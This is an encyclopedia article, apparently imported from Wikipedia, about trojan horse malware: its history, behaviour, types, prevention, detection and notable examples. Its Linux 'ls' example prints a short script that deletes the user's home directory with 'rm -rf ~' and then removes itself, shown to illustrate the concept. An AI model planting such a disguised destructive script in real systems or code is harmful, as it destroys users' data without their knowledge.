From Surf Wiki (app.surf) — the open knowledge base
Trojan horse (computing)
Type of malware
Type of malware
In computing, a trojan horse (or simply trojan; often capitalized, but see below) is a kind of malware that misleads users as to its true intent by disguising itself as a normal program.
Trojans are generally spread by some form of social engineering. For example, a user may be duped into executing an email attachment disguised to appear innocuous (e.g., a routine form to be filled in), or into clicking on a fake advertisement on the Internet. Although their payload can be anything, many modern forms act as a backdoor, contacting a controller who can then have unauthorized access to the affected device. Ransomware attacks are often carried out using a trojan.
Unlike computer viruses and worms, trojans generally do not attempt to inject themselves into other files or otherwise propagate themselves.{{Cite web |access-date = September 16, 2019 |archive-date = August 5, 2020 |archive-url = https://web.archive.org/web/20200805171304/https://faqs.cs.uu.nl/na-dir/computer-virus/faq.html |url-status = dead}}
Origins of the term
The term is derived from the ancient Greek story of the deceptive Trojan Horse that led to the fall of the city of Troy.
It is unclear where and when the computing concept, and this term for it, originated; but by 1971 the first Unix manual assumed its readers knew both.{{cite web |access-date=28 March 2020}}
Another early reference is in a US Air Force report in 1974 on the analysis of vulnerability in the Multics computer systems.
The term "Trojan horse" was popularized by Ken Thompson in his 1983 Turing Award acceptance lecture "Reflections on Trusting Trust", subtitled: "To what extent should one trust a statement that a program is free of Trojan horses? Perhaps it is more important to trust the people who wrote the software." He mentioned that he knew about the possible existence of trojans from a report on the security of Multics.Karger and Schell wrote that Thompson added this reference in a later version of his Turing conference speech: {{Citation|author = Ken Thompson|title = On Trusting Trust.
Capitalization
The computer term "Trojan horse" is derived from the legendary Trojan Horse of the ancient city of Troy. For this reason "Trojan" is often capitalized, especially in older sources. However, many modern style guides and dictionaries suggest a lower-case "trojan" for this technical use.
Behavior

Once installed, trojans may perform a range of malicious actions. Many tend to contact one or more Command and Control (C2) servers across the Internet and await instruction. Since individual trojans typically use a specific set of ports for this communication, it can be relatively simple to detect them. Moreover, other malware could potentially "take over" the trojan, using it as a proxy for malicious action.
In German-speaking countries, spyware used or made by the government is sometimes called govware. Govware is typically used to intercept communications from the target device. Some countries like Switzerland and Germany have a legal framework governing the use of such software.{{cite web |url-status=dead |archive-url=https://web.archive.org/web/20130506102113/http://www.ejpd.admin.ch/content/ejpd/de/home/themen/sicherheit/ueberwachung_des_post-/faq_vuepf.faq_3.html| archive-date=May 6, 2013}} Examples of govware trojans include the Swiss MiniPanzer and MegaPanzer{{cite web |access-date=10 January 2021|archive-url=https://archive.today/20140126115729/http://news.techworld.com/security/3200593/swiss-coder-publicises-government-spy-trojan/ |archive-date=26 January 2014 |url-status=dead}} and the German "state trojan" nicknamed R2D2. German govware works by exploiting security gaps unknown to the general public and accessing smartphone data before it becomes encrypted via other applications.{{Cite web |access-date = 2018-04-14}}
Due to the popularity of botnets among hackers and the availability of advertising services that permit authors to violate their users' privacy, trojans are becoming more common. According to a survey conducted by BitDefender from January to June 2009, "Trojan-type malware is on the rise, accounting for 83% of the global malware detected in the world." BitDefender has stated that approximately 15% of computers are members of a botnet, usually recruited by a trojan infection.
Recent investigations have revealed that the trojan-horse method has been used as an attack on cloud computing systems. A trojan attack on cloud systems tries to insert an application or service into the system that can impact the cloud services by changing or stopping the functionalities. When the cloud system identifies the attacks as legitimate, the service or application is performed which can damage and infect the cloud system.
Classifications of Trojan horses
Trojans are usually classified based on their primary function or intended impact. One major category is the banking trojan, which is designed to steal financial information such as online banking credentials, credit card numbers, or cryptocurrency wallet keys.{{cite web |access-date = October 5, 2025 |access-date = October 5, 2025
Some trojans are primarily downloaders, meaning they serve as an initial infection stage by installing other forms of malware once inside a system. These often pave the way for ransomware, spyware, or botnet recruitment.{{cite web |access-date = October 5, 2025 |access-date = October 5, 2025
Because trojans can be adapted for multiple purposes, many modern types have overlapping features, mixing elements of backdoors, spyware, and downloaders.{{cite web |access-date = October 5, 2025
Linux ls example
A trojan horse is a program that purports to perform some legitimate function, yet upon execution it compromises the user's security. One simple example is the following malicious version of the Linux ls command. An attacker would place this executable script in a publicly writable and "high-traffic" location (e.g., /tmp/ls). Then, any victim who tried to run ls from that directory — if and only if the victim's executable search PATH unwisely included the current directory . — would execute /tmp/ls instead of /usr/bin/ls, and have their home directory deleted.
#!/usr/bin/env bash
rm -rf ~ 2>/dev/null # Remove the user's home directory, then remove self.
rm $0
Similar scripts could hijack other common commands; for example, a script purporting to be the sudo command (which prompts for the user's password) could instead mail that password to the attacker.
In these examples, the malicious program imitates the name of a well-known useful program, rather than pretending to be a novel and unfamiliar (but harmless) program. As such, these examples also resemble typosquatting and supply chain attacks.
Prevention and mitigation
Preventing trojan infections requires a mix of user awareness, technical safeguards, and proactive security practices. Educating users about the dangers of downloading unverified files or executing unknown programs remains an effective way to prevent attacks.{{cite web |access-date = October 5, 2025 |access-date = October 5, 2025
Safe browsing practices—such as avoiding suspicious links, refraining from downloading software from untrusted sources, and exercising caution with email attachments—are also key to reducing risk.{{cite web |access-date = October 5, 2025 |access-date = October 5, 2025
In professional environments, network firewalls, intrusion detection systems (IDS), and email filtering tools are commonly used to block suspicious traffic and prevent trojans from communicating with external servers. Regular security checks, employee training programs, and routine data backups further strengthen defenses and help reduce potential damage in the event of an infection.{{cite web |access-date = October 5, 2025
Modern Developments and Detection Techniques
Modern trojan horses have changed beyond traditional file-based malware, progressively using techniques designed to avoid signature-based security tools. An example of this approach is fileless malware, in which trojans operate mainly in system memory and rely on legitimate administrative tools like PowerShell or Windows Management Instrumentation (WMI). By lowering or removing malicious files on disk, fileless trojans are more difficult for conventional antivirus software to detect.{{cite web |title=Fileless Malware |publisher=National Institute of Standards and Technology (NIST) |url=https://www.nist.gov |access-date=2025-03-06}} In recent years, trojans have expanded to mobile and embedded platforms. Android trojans are often distributed through unofficial application stores or phishing campaigns and may request more permissions that allow access to messages, stored credentials, or financial information.{{cite report |title=ENISA Threat Landscape for Mobile Malware |publisher=European Union Agency for Cybersecurity (ENISA) |url=https://www.enisa.europa.eu |access-date=2025-03-06}} Trojans targeting Internet of Things (IoT) devices often take advantage of weak authentication practices or unpatched firmware, which in turn allows compromised devices to be incorporated into large botnets used for distributed denial-of-service (DDoS) attacks.{{cite web |title=Risks Posed by Internet of Things (IoT) Devices |publisher=Cybersecurity and Infrastructure Security Agency (CISA) |url=https://www.cisa.gov |access-date=2025-03-06}} To counter these developments, modern security systems increasingly rely on behavior-based detection techniques. Rather than depending only on known malware signatures, behavioral analysis monitors system activity for signs such as unauthorized privilege escalation or suspicious network communication patterns. {{cite web |title=Behavior-Based Malware Detection |publisher=Symantec Security Blog |url=https://symantec-enterprise-blogs.security.com |access-date=2025-03-06}} Alongside behavior-based detection, machine learning–based methods have been developed to classify and detect trojans by identifying irregularities within large-scale system and network telemetry data. While these approaches can help detection rates, they also present challenges related to false positives and the clarity of automated decision-making systems
Notable examples

There have been many well-known trojans that have played an important role in the history of cybersecurity. An early example is the AIDS trojan, developed in 1989. It is considered one of the first forms of ransomware, as it encrypted filenames on infected computers and demanded payment to restore them.{{cite web |access-date = October 5, 2025 |access-date = October 5, 2025
In 2016, the MEMZ trojan, a Windows-based program, became widely recognized for its complex and destructive payloads. MEMZ gained notoriety for displaying unusual visual effects on infected machines and ultimately rendering the systems unusable.
Private and governmental
- ANOM – FBI
- 0zapftis / r2d2 StaatsTrojaner – DigiTask
- FinFisher – Lench IT solutions / Gamma International
- DaVinci / Galileo RCS – HackingTeam
- Magic Lantern – FBI
- SUNBURST – SVR/Cozy Bear (suspected)
- TAO QUANTUM/FOXACID – NSA
- WARRIOR PRIDE – GCHQ
Publicly available
- EGABTR – late 1980s
- Netbus – 1998 (published)
- Sub7 by Mobman – 1999 (published)
- Back Orifice – 1998 (published)
- Y3K by Tselentis brothers – 2000 (published)
- Beast – 2002 (published)
- Bifrost Trojan – 2004 (published)
- DarkComet – 2008-2012 (published)
- Blackhole exploit kit – 2012 (published)
- Gh0st RAT – 2009 (published)
- MegaPanzer BundesTrojaner – 2009 (published)
- MEMZ by Leurak – 2016 (published)
Detected by security researchers
- Twelve Tricks – 1990
- Clickbot.A – 2006 (discovered)
- Zeus – 2007 (discovered)
- Flashback Trojan – 2011 (discovered)
- ZeroAccess – 2011 (discovered)
- Koobface – 2008 (discovered)
- Vundo – 2009 (discovered)
- Coreflood – 2010 (discovered)
- Tiny Banker Trojan – 2012 (discovered)
- Wirelurker - 2014 (discovered)
- Shedun (Android malware) – 2015 (discovered){{cite web
References
Notes
References
- Basil Cupa, [http://www.zora.uzh.ch/81157/1/Cupa_Living_in_Surveillance_Societies_2012.pdf Trojan Horse Resurrected: On the Legality of the Use of Government Spyware (Govware)] {{Webarchive. link. (February 1, 2014 , LISS 2013, pp. 419–428)
- (2022-12-20). "Trojan Horse Infection Detection in Cloud Based Environment Using Machine Learning". International Journal of Interactive Mobile Technologies.
- (2016). "A Survey of Data Mining and Machine Learning Methods for Cyber Security Intrusion Detection". IEEE Communications Surveys & Tutorials.
- Goodin, Dan. (2015-11-19). "Android adware can install itself even when users explicitly reject it".
- Michael Bentley. "Lookout discovers new trojanized adware; 20K popular apps caught in the crossfire".
- (2009-08-03). "BitDefender Malware and Spam Survey finds E-Threats Adapting to Online Behavioral Trends".
- "Difference between viruses, worms, and trojans". Broadcom Inc..
- "What's wrong with having '.' in your $PATH?". University of Pennsylvania Computing and Educational Technology Services.
- "trojan".
- Jamie Crapanzano. (2003). "Deconstructing SubSeven, the Trojan Horse of Choice". [[SANS Institute]].
- Ganesh Datta. (2014-08-07). "What are Trojans?". SecurAid.
- Michael Gregg. (2015). "The Network Security Test Lab: A Step-by-Step Guide". Wiley.
- (June 1974). "Multics Security Evaluation: Vulnerability Analysis, ESD-TR-74-193". HQ Electronic Systems Division: Hanscom AFB, MA.
- (2002). "Thirty Years Later: Lessons from the Multics Security Evaluation". ACSAC.
- Seth Kulakow. (2001). "NetBus 2.1: Is It Still a Trojan Horse or an Actual Valid Remote Control Administration Tool?". [[SANS Institute]].
- (2015-11-19). "Trojanized Adware Family Abuses Accessibility Service".
- orbitalsatelite. (2016-09-21). "Mega-Panzer".
- "Microsoft Style Guide". [[Microsoft]].
- orbitalsatelite. (2016-09-18). "Mini-Panzer".
- [[Dave Neal]]. (2015-11-20). "Shedun trojan adware is hitting the Android Accessibility Service". Incisive Business Media.
- [[Ken Thompson]]. (1984). "Reflection on Trusting Trust". [[Communications of the ACM]].
- (1985). "UNIX System Security". Hayden Books.
This article was imported from Wikipedia and is available under the Creative Commons Attribution-ShareAlike 4.0 License. Content has been adapted to SurfDoc format. Original contributors can be found on the article history page.
Ask Mako anything about Trojan horse (computing) — get instant answers, deeper analysis, and related topics.
Research with MakoFree with your Surf account
Create a free account to save articles, ask Mako questions, and organize your research.
Sign up freeThis content may have been generated or modified by AI. CloudSurf Software LLC is not responsible for the accuracy, completeness, or reliability of AI-generated content. Always verify important information from primary sources.
Report